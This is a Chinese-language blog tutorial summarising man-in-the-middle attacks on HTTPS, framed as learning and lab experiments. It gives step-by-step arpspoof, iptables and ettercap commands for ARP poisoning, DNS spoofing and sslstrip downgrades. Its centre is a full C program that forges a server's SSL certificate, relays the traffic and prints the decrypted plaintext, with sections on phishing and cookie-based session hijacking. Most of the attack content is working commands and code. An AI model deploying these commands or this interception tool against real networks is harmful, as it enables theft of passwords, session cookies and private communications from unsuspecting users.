中间人攻击(MITM)姿势总结
1. 攻击场景介绍
我们常常提到HTTPS使用了SSL/TLS加密协议,是一种非常安全的WEB通信机制,这句话从某种角度来说是对的。我觉得更准备地应该说是针对传统的明文嗅探进行了有效的防御。但同时,我们应该认识到,安全技术、攻击方式往往在不同的场景、组合不同的技术可以形成多种多样的业务架构,而安全问题往往就发生在这些新出现的业务架构中。在一些特定的前提、特定的触发条件下,一些看似传统的攻击方式能够形成新的攻击向量。
今天我们来讨论一下怎么针对GMAIL这种使用SSL/TLS加密算法加密的通信进行流量窃取,单纯就SSL协议本身来说,它使用强劲的加密算法对通信数据进行加密,目前并没有直接的方法对这个协议本身进行攻击,但是,当结合中间人攻击、无线伪AP流量劫持这种攻击方式时,即整个SSL的初始化握手过程都暴露在攻击者面前的时候,SSL就有被攻击利用的可能(类似WPA、WPA2密码破解一样)
接下来,我们逐一学习几种攻击方式、及其它们的相关技术
1) 有线局域网下ARP投毒+中间人伪造SSL证书攻击 2) 有线局域网下ARP投毒+中间人SSL卸载攻击 3) 基于中间人攻击的SSL BEAST攻击 4) 基于DNS劫持的SET社会工程钓鱼攻击 5) 基于中间人攻击的会话劫持攻击(Session Hajacking)
Relevant Link:
http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141.html http://www.cnblogs.com/LittleHann/p/3741907.html http://www.cnblogs.com/LittleHann/p/3708222.html http://www.icylife.net/blog/?p=371&replytocom=3140 http://www.thoughtcrime.org/software/sslstrip/ http://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf http://hi.baidu.com/fairex/item/1bc33bda9bd177e5795daacc http://hi.baidu.com/fooying/item/8198ebd71f86cb4afa576874 http://blog.ivanristic.com/2011/10/mitigating-the-beast-attack-on-tls.html http://blog.csdn.net/jimmyleeee/article/details/7029435 http://www.butian.org/server/2543.html http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html http://www.freebuf.com/articles/web/5636.html https://github.com/trustedsec/social-engineer-toolkit/ http://www.freebuf.com/tools/7841.html http://security.zdnet.com.cn/security_zone/2009/0812/1429569.shtml
2. 攻击涉及相关技术学习
0x1: ARP投毒
关于ARP的原理请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3735816.html
ARP欺骗的3种方式:
1. 攻击者仅仅欺骗被攻击主机(单向): 主机C向主机B发送伪造的ARP回应包,声称自己的MAC地址就是网关对应的IP,这样,主机B就会将所有的流量发送主机C(攻击者),主机C开启ip_forward路由转发功能将数据包进行转发 2. 攻击者仅仅欺骗被攻击主机、同时在本地进行Iptable NAT转发(双向) 主机C向主机B发送伪造的ARP回应包,声称自己的MAC地址就是网关对应的IP,这样,主机B就会将所有的流量发送主机C(攻击者),同时,攻击者在本地使用Iptables进行NAT转换,这样就可以
接收到网关返回的数据包,完成双向流量窃取的目的 3. 攻击者同时欺骗被攻击主机和网关(双向) 主机C同时欺骗主机B和网关,实现数据中转,并监听到所有主机B的数据(双向) 主机C向网关发送ARP回应包,声称自己是主机B,同时向主机B发送ARP回应包,声称自己是网关,这样,网关和主机B两边的流量都会发往主机C,主机C并不需要使用Iptables做特殊的转发,只
需要打开ip_forward路由开关(即打开转发功能),是主机C具有数据包转发的功能即可,就可以成功劫持主机B的流量数据
关于这几种ARP欺骗方式的区别,我们接下来分别说明一下
1. 主机C冒充网关欺骗主机B
可以看到,攻击者只污染了受攻击主机的ARP缓存表,所以受攻击主机的原本发往网关的数据包都会发送到攻击者的主机中,但是网关的ARP表是正常的,网关会根据当前数据包的目的IP地址(受攻击主机的IP地址)进行正确的ARP解析,从而将数据包发送到受攻击主机上。
这种方式的直接后果就是我们只能窃取到受攻击主机的"外发数据包",无法接收到从远程服务端返回的"返回数据包",自然也就无法进行流量内容修改、流量注入的目的
1. 开启端口转发,允许本机像路由器那样转发数据包 echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP投毒,向主机B声称自己(攻击者)就是网关 arpspoof -h Usage: arpspoof [-i interface] [-t target] host arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 (192.168.159.132是我们的攻击目标、192.168.159.2是网关IP地址)
攻击的原理是攻击者不断向受攻击目标(192.168.159.132)发送"ARP回应包",声称自己就是网关,因为ARP机制没有身份验证,所以受攻击目标会把接收到的ARP回应包保存进自己的ARP缓存中,从而达到ARP污染的目的
00:0c:29:4b:5c:be这个MAC地址是发动ARP投毒的攻击者的MAC地址
受攻击主机(192.168.159.132)的ARP缓存表如下:
可以看到,网关的MAC地址已经被"污染"成了攻击者的MAC地址,单向ARP污染成功。
完成了单向ARP投毒攻击之后,我们可以获取到受攻击主机的外发数据包
2. 攻击者仅仅欺骗被攻击主机、同时在本地进行Iptable NAT转发(双向)
从图中可以看到,由于使用了NAT技术,从服务端返回的数据包也会经过攻击者的主机了,这样,攻击者就可以在本地进行流量内容的修改、流量注入了
1. 开启端口转发,允许本机像路由器那样转发数据包 echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP投毒,向主机B声称自己(攻击者)就是网关 arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 (192.168.159.132是我们的攻击目标、192.168.159.2是网关IP地址) 3. 使用Iptables进行NAT数据包转发 iptables -t nat -A POSTROUTING -p tcp -s 192.168.159.0/24 -j SNAT --to-source 192.168.159.254 iptables -t nat -A PREROUTING -p tcp -d 192.168.159.254 -j DNAT --to 192.168.159.132 有关Iptables的原理请参阅另一篇文章: http://www.cnblogs.com/LittleHann/p/3708222.html
可以看到,受攻击主机将数据包发给了攻击者(假的网关),然后攻击者NAT了这个数据包
3. 攻击者同时欺骗被攻击主机和网关(双向)
可以看到,在双向ARP欺骗中,攻击者仅仅充当了一个"数据包路由转发"的角色,将两个方向的数据包都进行转发
1. 开启端口转发,允许本机像路由器那样转发数据包 echo 1 > /proc/sys/net/ipv4/ip_forward 2. ARP投毒,向主机B声称自己(攻击者)就是网关 arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 (192.168.159.132是我们的攻击目标、192.168.159.2是网关IP地址) 这个指令翻译为中间即为: 告诉"192.168.159.132"这个人,"192.168.159.2"这个IP的MAC就是攻击者本机的MAC地址 3. ARP投毒,向网关G声称自己(攻击者)就是网关 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 (192.168.159.2是网关IP地址、192.168.159.132是我们的攻击目标) 这个指令翻译为中间即为: 告诉"192.168.159.2"这个人,"192.168.159.132"这个IP的MAC就是攻击者本机的MAC地址
以上3中思路从本质上来看都是一样的,我们在学习的时候要从网络通信的底层原理的角度来理解
1. 网络数据包的通信是通过MAC地址来连接的,数据包只会根据MAC进行点对点的发送和接收 2. 为了解决跨局域网、跨域发送的问题,所以有了IP层,IP负责对数据包进行路由 4. 数据包在发送的过程中,MAC会在不同的"跳"中变化,而源、目的IP地址是不会变的,它负责路由的功能 3. 我们在设置网卡参数的网关GetWay时填写的IP,其实只是为了获取网关的MAC而存在的,默认网关也因此得名,即当我们发送的目的IP不在当前局域网范围内,这个数据包就会被发送网关
(即目的MAC地址填写网关的MAC地址)
0x2: SSL证书伪造
关于SSL的交互、通信原理,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3733469.html
SSL证书中间人伪造攻击的思路如下:
1. 攻击者对目标客户端和网关发送ARP投毒攻击,污染它们的ARP缓存表 2. 客户端在浏览器中输入"https://mail.google.com/"的网址,浏览器会尝试和"https://mail.google.com/"的443端口建立SSL连接,但是因为客户端受到了ARP投毒攻击,原本发往
网关的数据包被发往了攻击者的主机 3. 攻击者在本机使用iptables将接收到的443目的端口的数据包重定向到本机的IP地址 4. 这样,受攻击者客户端的浏览器就只会和攻击者主机进行SSL连接 5. 攻击者在本机使用监听443端口,并且伪造一个假的SSL证书,用于和客户端的连接,同时,提取客户端发送的数据包的原始目的IP地址,用于和客户端原始请求的服务器建立另一个SSL连接 6. 中间人攻击者在双向的SSL Socket通信都建立完成后,对两边的socket进行数据读写同步,将数据通道打通,使客户端的浏览器能够正常访问(受攻击者不会察觉到已经收到SSL中间人攻击) 6. 在数据同步的同时,记录下明文数据,达到SSL中间人攻击的目的
关于使用openssl进行证书伪造、端口监听的编程实现,请参阅另一篇文章:
http://www.cnblogs.com/LittleHann/p/3741907.html
整个过程如下:
1. 攻击者发动ARP攻击 echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 ("192.168.159.132"是受攻击客户端,"192.168.159.2"是网关)
可以看到,受攻击客户端的ARP缓存表受到了污染("00-0c-29-4b-5c-be"是攻击者的MAC地址)
2. 攻击者使用Iptables重定向HTTPS数据 iptables -t nat -F iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 192.168.159.254 ("192.168.159.254"是攻击者IP)
这条命令的意思是将本机接收到的目的端口是443的数据包重定向到192.168.159.254(本机),这么做的效果是拦截了原本客户端向原始服务端的SSL连接请求,这样,客户端实际上是在和中间人进行SSL连接。关于iptables的原理,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
3. 攻击者生成本地伪证书所需的公私钥 openssl genrsa -out private.key 1024 openssl rsa -in private.key -pubout -out public.key
我们知道,中间人要伪造SSL证书,并且要成功地和客户端进行交互,就需要有对应的公私钥对文件
4. 攻击者本地监听443端口,等待客户端的连接 vim SSL_man_in_middle.c code: #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <sys/param.h> #include <linux/netfilter_ipv4.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/time.h> #include <openssl/ssl.h> #include <openssl/err.h> #define LISTEN_BACKLOG 50 #define warning(msg) \ do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0) #define error(msg) \ do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0) int sum = 1; struct timeval timeout = { 0, 10000000 }; int get_socket_to_server(struct sockaddr_in* original_server_addr) { int sockfd; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { error("Fail to initial socket to server!"); } if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) < 0) { error("Fail to connect to server!"); } printf("%d, Connect to server [%s:%d]\n", sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port)); return sockfd; } //监听指定端口,等待客户端的连接 int socket_to_client_init(short int port) { int sockfd; int on = 1; struct sockaddr_in addr; //初始化一个socket if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { error("Fail to initial socket to client!"); } if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0) { error("reuseaddr error!"); } memset(&addr, 0, sizeof(addr)); addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_family = AF_INET; //将该socket绑定到8888端口上 addr.sin_port = htons(port); if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to bind socket to client!"); } //然后监听该端口 if (listen(sockfd, LISTEN_BACKLOG) < 0) { shutdown(sockfd, SHUT_RDWR); error("Fail to listen socket to client!"); } return sockfd; } /* 当主机B发起一个SSL连接时,我们在本地8888端口就可以监听到连接,这时我们接受这个连接,并获得该链接的原始目的地址, 以便后续连接服务器时使用。该部分封装到了get_socket_to_client函数中。 */ int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) { int client_fd; struct sockaddr_in client_addr; socklen_t client_size = sizeof(struct sockaddr); socklen_t server_size = sizeof(struct sockaddr); memset(&client_addr, 0, client_size); memset(original_server_addr, 0, server_size); client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size); if (client_fd < 0) { warning("Fail to accept socket to client!"); return -1; } /* 通过getsockopt函数获得socket中的SO_ORIGINAL_DST属性,得到报文被iptables重定向之前的原始目的地址。 使用SO_ORIGINAL_DST属性需要包括头文件<linux/netfilter_ipv4.h>。 值得注意的是,在当前的情景下,通过getsockname等函数是无法正确获得原始的目的地址的, 因为iptables在重定向报文到本地端口时,已经将IP报文的目的地址修改为本地地址, 所以getsockname等函数获得的都是本地地址而不是服务器的地址。 */ if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size) < 0) { warning("Fail to get original server address of socket to client!");; } printf("%d, Find SSL connection from client [%s:%d]", sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); printf(" to server [%s:%d]\n", inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port)); return client_fd; } // 初始化openssl库 void SSL_init() { SSL_library_init(); SSL_load_error_strings(); } void SSL_Warning(char *custom_string) { char error_buffer[256] = { 0 }; fprintf(stderr, "%d, %s ", sum, custom_string); ERR_error_string(ERR_get_error(), error_buffer); fprintf(stderr, "%s\n", error_buffer); } void SSL_Error(char *custom_string) { SSL_Warning(custom_string); exit(EXIT_FAILURE); } //在与服务器建立了socket连接之后,我们就可以建立SSL连接了。这里我们使用linux系统中著名的SSL库openssl来完成我们的接下来的工作 SSL* SSL_to_server_init(int socket) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) { SSL_Error("Fail to init ssl ctx!"); } SSL *ssl = SSL_new(ctx); if (ssl == NULL) { SSL_Error("Create ssl error"); } if (SSL_set_fd(ssl, socket) != 1) { SSL_Error("Set fd error"); } return ssl; } SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) { SSL_CTX *ctx; ctx = SSL_CTX_new(SSLv23_server_method()); if (ctx == NULL) SSL_Error("Fail to init ssl ctx!"); if (cert && key) { if (SSL_CTX_use_certificate(ctx, cert) != 1) SSL_Error("Certificate error"); if (SSL_CTX_use_PrivateKey(ctx, key) != 1) SSL_Error("key error"); if (SSL_CTX_check_private_key(ctx) != 1) SSL_Error("Private key does not match the certificate public key"); } SSL *ssl = SSL_new(ctx); if (ssl == NULL) SSL_Error("Create ssl error"); if (SSL_set_fd(ssl, socket) != 1) SSL_Error("Set fd error"); return ssl; } void SSL_terminal(SSL *ssl) { SSL_CTX *ctx = SSL_get_SSL_CTX(ssl); SSL_shutdown(ssl); SSL_free(ssl); if (ctx) SSL_CTX_free(ctx); } // 从文件读取伪造SSL证书时需要的RAS私钥和公钥 EVP_PKEY* create_key() { EVP_PKEY *key = EVP_PKEY_new(); RSA *rsa = RSA_new(); FILE *fp; if ((fp = fopen("private.key", "r")) == NULL) { error("private.key"); } PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL); if ((fp = fopen("public.key", "r")) == NULL) { error("public.key"); } PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL); EVP_PKEY_assign_RSA(key,rsa); return key; } X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) { unsigned char buffer[128] = { 0 }; int length = 0, loc; X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server); X509 *fake_x509 = X509_dup(server_x509); if (server_x509 == NULL) { SSL_Error("Fail to get the certificate from server!"); } X509_set_version(fake_x509, X509_get_version(server_x509)); ASN1_INTEGER *a = X509_get_serialNumber(fake_x509); a->data[0] = a->data[0] + 1; X509_NAME *issuer = X509_NAME_new(); X509_NAME_add_entry_by_txt(issuer, "CN", MBSTRING_ASC, "Thawte SGC CA", -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, "O", MBSTRING_ASC, "Thawte Consulting (Pty) Ltd.", -1, -1, 0); X509_NAME_add_entry_by_txt(issuer, "OU", MBSTRING_ASC, "Thawte SGC CA", -1, -1, 0); X509_set_issuer_name(fake_x509, issuer); X509_sign(fake_x509, key, EVP_sha1()); return fake_x509; } /* 我们将抓取数据的代码封装到transfer函数中。该函数主要是使用系统的select函数同时监听服务器和客户端, 并使用SSL_read和SSL_write不断的在两个信道之间传递数据,并将数据输出到控制台 */ int transfer(SSL *ssl_to_client, SSL *ssl_to_server) { int socket_to_client = SSL_get_fd(ssl_to_client); int socket_to_server = SSL_get_fd(ssl_to_server); int ret; char buffer[4096] = { 0 }; fd_set fd_read; printf("%d, waiting for transfer\n", sum); while (1) { int max; FD_ZERO(&fd_read); FD_SET(socket_to_server, &fd_read); FD_SET(socket_to_client, &fd_read); max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1; ret = select(max, &fd_read, NULL, NULL, &timeout); if (ret < 0) { SSL_Warning("Fail to select!"); break; } else if (ret == 0) { continue; } if (FD_ISSET(socket_to_client, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_client, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_server, buffer, ret)) { SSL_Warning("Fail to write to server!"); break; } else { printf("%d, client send %d bytes to server\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from client!"); break; } } if (FD_ISSET(socket_to_server, &fd_read)) { memset(buffer, 0, sizeof(buffer)); ret = SSL_read(ssl_to_server, buffer, sizeof(buffer)); if (ret > 0) { if (ret != SSL_write(ssl_to_client, buffer, ret)) { SSL_Warning("Fail to write to client!"); break; } else { printf("%d, server send %d bytes to client\n", sum, ret); printf("%s\n", buffer); } } else { SSL_Warning("Fail to read from server!"); break; } } } return -1; } int main() { // 初始化一个socket,将该socket绑定到443端口,并监听 int socket = socket_to_client_init(443); // 从文件读取伪造SSL证书时需要的RAS私钥和公钥 EVP_PKEY* key = create_key(); // 初始化openssl库 SSL_init(); while (1) { struct sockaddr_in original_server_addr; // 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中 int socket_to_client = get_socket_to_client(socket, &original_server_addr); if (socket_to_client < 0) { continue; } // 新建一个子进程处理后续事宜,主进程继续监听端口等待后续连接 if (!fork()) { X509 *fake_x509; SSL *ssl_to_client, *ssl_to_server; // 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket int socket_to_server = get_socket_to_server(&original_server_addr); // 通过和服务器连接的socket建立一个和服务器的SSL连接 ssl_to_server = SSL_to_server_init(socket_to_server); if (SSL_connect(ssl_to_server) < 0) { SSL_Error("Fail to connect server with ssl!"); } printf("%d, SSL to server\n", sum); // 从服务器获得证书,并通过这个证书伪造一个假的证书 fake_x509 = create_fake_certificate(ssl_to_server, key); // 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功 ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key); if (SSL_accept(ssl_to_client) <= 0) { SSL_Error("Fail to accept client with ssl!"); } printf("%d, SSL to client\n", sum); // 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据 if (transfer(ssl_to_client, ssl_to_server) < 0) { break; } printf("%d, connection shutdown\n", sum); shutdown(socket_to_server, SHUT_RDWR); SSL_terminal(ssl_to_client); SSL_terminal(ssl_to_server); X509_free(fake_x509); EVP_PKEY_free(key); } else { ++sum; } } return 0; } 编译 gcc SSL_man_in_middle.c -o SSL_man_in_middle -lssl ./SSL_man_in_middle
攻击者进行了SSL证书伪造,并转发了流量,同时记录下了明文数据
可以看到,直接使用嗅探工具抓包,看到了是密文数据,只有中间人能看到明文数据
0x3: SSL卸载攻击
这种技术思想是"Moxie Marlinspike"在黑帽大会上发布"sslstrip"时提出的,它的攻击思路如下
1. ARP欺骗,使得攻击者能截获所有目标主机的网络流量 2. 攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替 3. 同时,与目标服务器建立正常的HTTPS连接 4. 由于HTTP通信是明文传输,攻击者能轻松实施嗅探 5. 受攻击客户端与原始请求服务器之间的全部通信经过了代理转发。 6. 其中,出现的图标被替换成为用户熟悉的"小黄锁"图标,以建立信任。 7. 这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所知
这种漏洞发生的原因是:
1. 大部分使用SSL的网站并非"全站加密",仅对部分重要的网页使用SSL,这就给攻击者以可乘之机。可以简单地理解为: 网站在普通页面、非机密页面都是采用HTTP方式访问的,而在进入登录页面的时候才会采用HTTPS加密处理 2. 大多数网站为了保证用户习惯的兼容性,都同时支持HTTP、HTTPS的访问,大多数情况下,这两种访问方式并没有太大的安全问题,但是当用户访问的页面是涉及机密信息的登录页面时,
服务端往往会采用"重定向"的方式,"强制"用户的浏览器以HTTPS的方式来访问登录页面,为的是保证密钥信息的安全传输
其中原因(2)是我们能够利用SSLStrip发动攻击的关键,服务端为了"强制"用户以HTTPS方式进行登录,会向浏览器返回重定向数据包,即"302 Moved Temporarily",正常情况下,浏览器收到这个数据包之后,就会重新使用新的URL发起一个新的HTTPS连接。
而SSLStrip就是盯准了这个时机,当发现浏览器试图加密即采用https传输数据时,它就适时的介入中间,充当代理作用,然后主机认为安全会话开始,这是上文中的被动加密的提示就不会出现了,SSLstrip也通过https连接了安全服务器。那么所有用户到SSLstrip的连接时http,所有的传输数据就能被拦截
为了更好地说明这个原理,我们来看一看Google的做法
1. 我想访问GMAIL,于是我输入: http://mail.google.com/
2. Google收到我的请求,于是它试图"强制"让我以HTTPS方式来进行安全访问
可以看到,Google返回了一个重定向数据包,这样,我们会发现我们的浏览器闪了一下,随后就以HTTPS的方式进行了安全访问。这看起来非常安全,事实也的确如此。
但是我们知道,安全问题往往发生在多种业务场景、多种攻击方式组合的情况下。
SSLStrip的攻击思想就是
1. 攻击者对目标客户端发送了ARP投毒攻击,并且使用iptables截获目标客户端的WEB通信数据(80端口) echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.159.254 2. 使用SSLStrip监听80端口,捕获"重定向事件" wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz tar zxvf sslstrip-0.9.tar.gz cd sslstrip-0.9 sudo python ./setup.py install /* 1) SSLStrip会持续监听80端口的WEB数据,如果不是"重定向数据包",则进行正常转发 2) 如果监听到"重定向数据包",则拦截数据,开始建立双向连接 2.1) 和目标客户端建立HTTP普通连接 2.2) 和原始请求服务端建立HTTPS机密连接 2.3) 并将原始服务端返回的HTTPS加密数据解密后,以HTTP方式返回给客户端 */ sslstrip -a -k -f -l 80 /* 因为此时目标客户端和攻击者中间人的网络通信都是HTTP的,所以,可以通过明文嗅探的方式直接得到密钥信息 */ ettercap -T -q -i eth0 3. 目标客户端正常访问页面 http://mail.google.com/ 透过中间人SSLStrip的代理进行了"伪HTTPS"的通信,在"察觉度较低"的情况下泄漏了密码
0x4: 基于中间人攻击的SSL BEAST攻击
关于BEAST攻击,我的大概理解如下:
1. SSL/TLS中使用"记录协议数据包"来封装上层的应用数据 2. SSL/TLS使用CBC加密模式进行分组对称加密,并且不同"记录协议数据包"之间并不是独立的IV,不同的数据包之间形成一个整体的CBC模式 3. 中间人攻击者可以在返回流量中注入javascript代码,根据攻击者已知的IV和Ciper,来穷举出下一个数据包中包含的cookie信息
相关链接如下:
http://blog.ivanristic.com/2011/10/mitigating-the-beast-attack-on-tls.html http://blog.csdn.net/jimmyleeee/article/details/7029435 http://www.butian.org/server/2543.html http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html http://www.freebuf.com/articles/web/5636.html
类似的还有SSL CRIME、SSL BEAST、SSL Lucky 13、SSL BREACH。感兴趣的朋友可以研究研究
0x5: 基于中间人攻击的DNS劫持
我们可以发现,对于中间人攻击,攻击者的攻击方式从方式上可以分为以下几类
1. 数据包嗅探 1) 明文嗅探 2) 借助中间人代理进行密文嗅探 2. 数据注入 1) CRIME中在数据包中注入javascript代码实现攻击目的 3. 数据流量劫持 1) 使用iptables工具对数据包的IP地址进行强制重定向 4. 数据包篡改 1) DNS劫持中篡改DNS返回数据包的IP地址,达到DNS劫持的目的
而DNS劫持攻击属于"(2)数据包篡改"的一种,它是工作在53号端口的一种C/S工作模式,客户端向服务端发送DNS请求解析数据包,服务端返回携带指定URL域名对应的IP的的数据包,而作为中间人攻击者则监听这一个过程,通过对返回数据包中的IP进行篡改,来达到攻击目的。
对于客户端来说,它的浏览器上访问的还是一个"正常、合法"的网址,但实际上,这个时候访问是攻击者指定的IP地址。
基于中间人攻击的DNS劫持思路如下
1. ARP投毒,进行中间人攻击劫持流量 echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.137 arpspoof -i eth0 -t 192.168.159.137 192.168.159.132 2. 使用ettercap的dns_spoof插件进行DNS劫持 locate etter.dns vim /usr/local/share/ettercap/etter.dns 添加一个你需要劫持的URL的IP记录 www.jnrain.com A 192.168.159.254 www.jnrain.com PTR 192.168.159.254 启动ettercap插件 ettercap -i eth0 -T -P dns_spoof 3. 客户端访问指定URL,返回的是攻击者指定的IP,达到DNS劫持的目的
0x6: 基于DNS劫持的SET社会工程钓鱼攻击
我们已经掌握了进行DNS劫持的技术,即作为中间人攻击者可以控制用户访问某个URL时实际访问到的IP地址,接下来的问题是,之后我们怎么办?
1. 发送中间人攻击,劫持目标客户端流量 2. 进行DNS劫持,将"http://www.jnrain.com"这个URL劫持到攻击者所在的本机上 3. 目标客户端在访问"http://www.jnrain.com"的时候实际访问的是攻击者所在的服务器 4. 攻击者在本机服务器上搭建一个钓鱼页面,对"http://www.jnrain.com"进行高度仿真,并加入记录密码的代码 5. 通过钓鱼页面直接获取目标客户端的帐号、密码
可以看到,在这种攻击方式中,技术上的难题并不是很多,其中困难的应该是在社会工程这方面,怎么构造"合理的钓鱼邮件",吸引目标去访问指定URL,怎么保证钓鱼页面的"仿真性",让目标不易察觉。
SET工具套件提供了一个基础的社工平台,它提供了一些基本功能,例如"网页克隆"、"钓鱼邮件发送"等
https://github.com/trustedsec/social-engineer-toolkit/ http://www.freebuf.com/tools/7841.html
0x7: 基于中间人攻击的会话劫持攻击(Session Hajacking)
发送这种攻击方式的一个根本原因是"当前的HTTP环境采用Cookie当作一种连接状态的标识符",即服务端根据Cookie来识别当前登录用户的身份,基本上来说,我们在访问一个购物网站的时候,浏览器和服务器的交互过程是这样的
1. 用户第一次访问这个网站,网站服务端产生一个session,并将这个session的ID值保存在cookie值中,写入客户端 2. 客户端在之后的每次访问这个网站的同一个域下的页面时都会带上这个cookie值, 3. 服务端根据cookie中的sessionID来映射对应的session,从而得到当前用户的登录状态 4. 这样,借助cookie的机制,HTTP协议从某种程度上来说,就成为了一个有状态的协议
对攻击者来说,如果能获取到这个Cookie值,等于也就获取了对应用户的"身份令牌",即可以不需要帐号、密码就以目标用户的身份合法的登录网站(XSS攻击也是这个目的)
"基于中间人攻击的会话劫持"属于前面说的"数据包流量嗅探"类别,它的思路如下:
1. 攻击者对目标客户端发送中间人攻击,劫持流量 2. 使用ferret抓取WEB通信流量包 3. 使用hamster对抓取的数据包进行重组、分析,得出包含cookie信息的HTTP包 4. 攻击者使用hamster组合出的HTTP包进行重放,以目标用户的身份登录目标网站,达到会话劫持
ferret、hamster是黑帽大会上Robert Graham发布的一款用于会话劫持的工具
http://security.zdnet.com.cn/security_zone/2009/0812/1429569.shtml
3. 攻击实验过程
0x1: 有线局域网下ARP投毒+中间人伪造SSL证书攻击
攻击者需要连接到目标客户端的同一局域网段(或者说同一个广播域),直接连接、或者伪AP劫持都可以达到目的,然后发动ARP投毒攻击
echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.159.132 192.168.159.2 arpspoof -i eth0 -t 192.168.159.2 192.168.159.132 ("192.168.159.132"是受攻击客户端,"192.168.159.2"是网关)
在劫持了客户端和网关的流量之后,使用iptables对SSL443数据包进行"截获"(直接改变原始链路方向),将其强制重定向到本机
iptables -t nat -F iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to 192.168.159.254 ("192.168.159.254"是攻击者IP)
伪造SSL中间人攻击程序所需的证书公私钥对
openssl genrsa -out private.key 1024 openssl rsa -in private.key -pubout -out public.key
启动中间人攻击程序(代码已给出)
./SSL_man_in_middle
为了实验目的,我们在另一台机器上架设SSL服务器(充当原本客户端要连接的远程服务器)
<?php if(!empty($_POST['submit'])) { var_dump($_POST); } ?> <form action="index.php" method="POST"> <p>First name: <input type="text" name="fname" /></p> <p>Last name: <input type="text" name="lname" /></p> <input name="submit" type="submit" value="Submit" /> </form>
可以看到,由于证书是伪造的,浏览器会提示异常,但如果用户选择忽略,则不影响访问
由于SSL加密的原因,wireshark只能抓取到SSL加密后的密文
而中间人由于建立了双向的SSL Socket连接,可以获得SSL通信中的全部明文数据